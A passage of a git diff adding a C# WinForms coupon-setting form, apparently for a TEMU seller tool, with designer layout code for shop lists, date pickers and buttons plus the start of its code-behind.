this.label9.Text = "优惠内容"; + // + // panel1 + // + this.panel1.Controls.Add(this.rbNotReckonIn); + this.panel1.Controls.Add(this.rbReckonIn); + this.panel1.Location = new System.Drawing.Point(94, 119); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(174, 21); + this.panel1.TabIndex = 482; + // + // rbNotReckonIn + // + this.rbNotReckonIn.AutoSize = true; + this.rbNotReckonIn.Location = new System.Drawing.Point(57, 0); + this.rbNotReckonIn.Name = "rbNotReckonIn"; + this.rbNotReckonIn.Size = new System.Drawing.Size(62, 21); + this.rbNotReckonIn.TabIndex = 466; + this.rbNotReckonIn.Text = "不计入"; + this.rbNotReckonIn.UseVisualStyleBackColor = true; + // + // rbReckonIn + // + this.rbReckonIn.AutoSize = true; + this.rbReckonIn.Checked = true; + this.rbReckonIn.Location = new System.Drawing.Point(0, 0); + this.rbReckonIn.Name = "rbReckonIn"; + this.rbReckonIn.Size = new System.Drawing.Size(50, 21); + this.rbReckonIn.TabIndex = 465; + this.rbReckonIn.TabStop = true; + this.rbReckonIn.Text = "计入"; + this.rbReckonIn.UseVisualStyleBackColor = true; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(12, 121); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(80, 17); + this.label8.TabIndex = 481; + this.label8.Text = "价格风险预警"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(36, 46); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(56, 17); + this.label6.TabIndex = 478; + this.label6.Text = "领取结束"; + // + // lblUseTypeText + // + this.lblUseTypeText.Location = new System.Drawing.Point(24, 96); + this.lblUseTypeText.Name = "lblUseTypeText"; + this.lblUseTypeText.Size = new System.Drawing.Size(68, 17); + this.lblUseTypeText.TabIndex = 477; + this.lblUseTypeText.Text = "日期范围"; + this.lblUseTypeText.TextAlign = System.Drawing.ContentAlignment.TopRight; + // + // dtpEndApplyTime + // + this.dtpEndApplyTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpEndApplyTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndApplyTime.Location = new System.Drawing.Point(94, 43); + this.dtpEndApplyTime.Name = "dtpEndApplyTime"; + this.dtpEndApplyTime.Size = new System.Drawing.Size(174, 23); + this.dtpEndApplyTime.TabIndex = 476; + // + // dtpStartApplyTime + // + this.dtpStartApplyTime.CustomFormat = "yyyy\'/\'MM\'/\'dd HH:mm:ss"; + this.dtpStartApplyTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartApplyTime.Location = new System.Drawing.Point(94, 18); + this.dtpStartApplyTime.Name = "dtpStartApplyTime"; + this.dtpStartApplyTime.Size = new System.Drawing.Size(174, 23); + this.dtpStartApplyTime.TabIndex = 475; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(36, 21); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 474; + this.label4.Text = "领取开始"; + // + // btnOffLine + // + this.btnOffLine.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnOffLine.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnOffLine.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOffLine.DisabledBackColor = System.Drawing.Color.Empty; + this.btnOffLine.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOffLine.Location = new System.Drawing.Point(599, 22); + this.btnOffLine.Name = "btnOffLine"; + this.btnOffLine.Size = new System.Drawing.Size(80, 23); + this.btnOffLine.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnOffLine.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOffLine.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOffLine.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnOffLine.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnOffLine.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnOffLine.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnOffLine.Style.GradientAngle = 90; + this.btnOffLine.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnOffLine.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnOffLine.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnOffLine.TabIndex = 427; + this.btnOffLine.Text = "设置优惠券"; + this.btnOffLine.Click += new System.EventHandler(this.btnSet_Click); + // + // btnStopOperate + // + this.btnStopOperate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopOperate.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopOperate.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopOperate.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopOperate.Location = new System.Drawing.Point(599, 52); + this.btnStopOperate.Name = "btnStopOperate"; + this.btnStopOperate.Size = new System.Drawing.Size(80, 23); + this.btnStopOperate.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopOperate.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopOperate.Style.GradientAngle = 90; + this.btnStopOperate.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopOperate.TabIndex = 405; + this.btnStopOperate.Text = "停止操作"; + this.btnStopOperate.Click += new System.EventHandler(this.btnStopOperate_Click); + // + // nudDays + // + this.nudDays.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudDays.Location = new System.Drawing.Point(94, 93); + this.nudDays.Name = "nudDays"; + this.nudDays.Size = new System.Drawing.Size(49, 23); + this.nudDays.TabIndex = 534; + this.nudDays.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(146, 96); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(68, 17); + this.label7.TabIndex = 480; + this.label7.Text = "天内可使用"; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 150); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1266, 472); + this.splitContainer3.SplitterDistance = 442; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1266, 442); + this.splitContainer2.SplitterDistance = 269; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(265, 442); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(989, 442); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.ucTabControl1.Controls.Add(this.tabPageCheckResult); + this.ucTabControl1.Controls.Add(this.tabPageViolateFileList); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(987, 440); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPageCheckResult + // + this.tabPageCheckResult.Location = new System.Drawing.Point(2, 26); + this.tabPageCheckResult.Name = "tabPageCheckResult"; + this.tabPageCheckResult.Padding = new System.Windows.Forms.Padding(3); + this.tabPageCheckResult.Size = new System.Drawing.Size(981, 410); + this.tabPageCheckResult.TabIndex = 0; + this.tabPageCheckResult.Text = "店铺1"; + this.tabPageCheckResult.UseVisualStyleBackColor = true; + // + // tabPageViolateFileList + // + this.tabPageViolateFileList.Location = new System.Drawing.Point(2, 26); + this.tabPageViolateFileList.Name = "tabPageViolateFileList"; + this.tabPageViolateFileList.Padding = new System.Windows.Forms.Padding(3); + this.tabPageViolateFileList.Size = new System.Drawing.Size(981, 410); + this.tabPageViolateFileList.TabIndex = 1; + this.tabPageViolateFileList.Text = "店铺2"; + this.tabPageViolateFileList.UseVisualStyleBackColor = true; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1266, 26); + this.splitContainer4.SplitterDistance = 1151; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1151, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // CouponForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1266, 626); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "CouponForm"; + this.Text = "优惠券"; + this.Load += new System.EventHandler(this.CouponForm_Load); + this.VisibleChanged += new System.EventHandler(this.CouponForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer5.Panel1.ResumeLayout(false); + this.splitContainer5.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).EndInit(); + this.splitContainer5.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste1)).EndInit(); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.flowLayoutPanel1.ResumeLayout(false); + this.flowLayoutPanel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudThresHold)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudCredit)).EndInit(); + this.pnlTimePeriod.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudTotalCount)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudDays)).EndInit(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer5; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtSaleMax; + private System.Windows.Forms.TextBox txtSaleMin; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label12; + private DevComponents.DotNetBar.PanelEx btnStopGetProduct; + private DevComponents.DotNetBar.PanelEx btnGetProduct; + private System.Windows.Forms.Label label1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private DevComponents.DotNetBar.PanelEx btnOffLine; + private DevComponents.DotNetBar.PanelEx btnStopOperate; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPageCheckResult; + private System.Windows.Forms.TabPage tabPageViolateFileList; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private System.Windows.Forms.RadioButton rbOffSale; + private System.Windows.Forms.RadioButton rbOnSale; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.RadioButton rbNotReckonIn; + private System.Windows.Forms.RadioButton rbReckonIn; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label lblUseTypeText; + private System.Windows.Forms.DateTimePicker dtpEndApplyTime; + private System.Windows.Forms.DateTimePicker dtpStartApplyTime; + private System.Windows.Forms.Label label9; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbUserCountLimited; + private DevComponents.Editors.ComboItem cbi1; + private System.Windows.Forms.NumericUpDown nudDays; + private System.Windows.Forms.NumericUpDown nudTotalCount; + private System.Windows.Forms.NumericUpDown nudCredit; + private System.Windows.Forms.Label lblCreditText; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label lblDiscountText; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbType; + private DevComponents.Editors.ComboItem 商品折扣券; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton rbAllProductEachCoupon; + private System.Windows.Forms.RadioButton rbOneProductEachCoupon; + private DevComponents.DotNetBar.Controls.TextBoxX txtFilter; + private System.Windows.Forms.Label label14; + private DevComponents.DotNetBar.Controls.TextBoxX txtProductName; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.RadioButton rbUseTypeDays; + private System.Windows.Forms.RadioButton rbUseTypePeriod; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.DateTimePicker dtpStartUseTime; + private System.Windows.Forms.Panel pnlTimePeriod; + private System.Windows.Forms.DateTimePicker dtpEndUseTime; + private System.Windows.Forms.PictureBox pbPaste2; + private System.Windows.Forms.PictureBox pbPaste1; + private DevComponents.Editors.ComboItem 商品直减券; + private DevComponents.Editors.ComboItem 商品满减券; + private System.Windows.Forms.NumericUpDown nudThresHold; + private System.Windows.Forms.Label lblThresHold; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.cs new file mode 100644 index 0000000..4985103 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.cs @@ -0,0 +1,630 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class CouponForm : Form + { + private CheckBox chkSelectAll = null; + public ChromiumWebBrowser webBrowser = null; + private List lstShopId = new List(); + public List keywords = null; + public List filterWords = null; + public CancellationTokenSource cancellationTokenSource = null; + + public CouponForm() + { + InitializeComponent(); + } + + private void CouponForm_Load(object sender, EventArgs e) + { + this.ucTabControl1.TabPages.Clear(); + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + + this.cmbType.SelectedIndex = 0; + 